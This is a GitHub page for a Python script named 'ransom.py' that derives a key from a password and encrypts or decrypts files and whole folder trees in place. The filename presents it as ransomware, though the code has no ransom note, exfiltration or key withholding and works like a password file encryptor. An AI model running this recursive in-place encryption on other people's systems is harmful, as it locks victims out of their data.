-
Notifications
You must be signed in to change notification settings - Fork 0
/
ransom.py
143 lines (124 loc) · 5.22 KB
/
ransom.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import pathlib
import secrets
import os
import base64
import getpass
import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
def generate_salt(size=16):
"""Generate the salt used for key derivation,
`size` is the length of the salt to generate"""
return secrets.token_bytes(size)
def derive_key(salt, password):
"""Derive the key from the `password` using the passed `salt`"""
kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
return kdf.derive(password.encode())
def load_salt():
# load salt from salt.salt file
return open("salt.salt", "rb").read()
def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
"""Generates a key from a `password` and the salt.
If `load_existing_salt` is True, it'll load the salt from a file
in the current directory called "salt.salt".
If `save_salt` is True, then it will generate a new salt
and save it to "salt.salt" """
if load_existing_salt:
# load existing salt
salt = load_salt()
elif save_salt:
# generate new salt and save it
salt = generate_salt(salt_size)
with open("salt.salt", "wb") as salt_file:
salt_file.write(salt)
# generate the key from the salt and the password
derived_key = derive_key(salt, password)
# encode it using Base 64 and return it
return base64.urlsafe_b64encode(derived_key)
def encrypt(filename, key):
"""Given a filename (str) and key (bytes), it encrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read all file data
file_data = file.read()
# encrypt data
encrypted_data = f.encrypt(file_data)
# write the encrypted file
with open(filename, "wb") as file:
file.write(encrypted_data)
def encrypt_folder(foldername, key):
# if it's a folder, encrypt the entire folder (i.e all the containing files)
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Encrypting {child}")
# encrypt the file
encrypt(child, key)
elif child.is_dir():
# if it's a folder, encrypt the entire folder by calling this function recursively
encrypt_folder(child, key)
def decrypt(filename, key):
"""Given a filename (str) and key (bytes), it decrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read the encrypted data
encrypted_data = file.read()
# decrypt data
try:
decrypted_data = f.decrypt(encrypted_data)
except cryptography.fernet.InvalidToken:
print("[!] Invalid token, most likely the password is incorrect")
return
# write the original file
with open(filename, "wb") as file:
file.write(decrypted_data)
def decrypt_folder(foldername, key):
# if it's a folder, decrypt the entire folder
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Decrypting {child}")
# decrypt the file
decrypt(child, key)
elif child.is_dir():
# if it's a folder, decrypt the entire folder by calling this function recursively
decrypt_folder(child, key)
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder")
parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
type=int)
parser.add_argument("-e", "--encrypt", action="store_true",
help="Whether to encrypt the file/folder, only -e or -d can be specified.")
parser.add_argument("-d", "--decrypt", action="store_true",
help="Whether to decrypt the file/folder, only -e or -d can be specified.")
# parse the arguments
args = parser.parse_args()
# get the password
if args.encrypt:
password = getpass.getpass("Enter the password for encryption: ")
elif args.decrypt:
password = getpass.getpass("Enter the password you used for encryption: ")
# generate the key
if args.salt_size:
key = generate_key(password, salt_size=args.salt_size, save_salt=True)
else:
key = generate_key(password, load_existing_salt=True)
# get the encrypt and decrypt flags
encrypt_ = args.encrypt
decrypt_ = args.decrypt
# check if both encrypt and decrypt are specified
if encrypt_ and decrypt_:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
elif encrypt_:
if os.path.isfile(args.path):
# if it is a file, encrypt it
encrypt(args.path, key)
elif os.path.isdir(args.path):
encrypt_folder(args.path, key)
elif decrypt_:
if os.path.isfile(args.path):
decrypt(args.path, key)
elif os.path.isdir(args.path):
decrypt_folder(args.path, key)
else:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")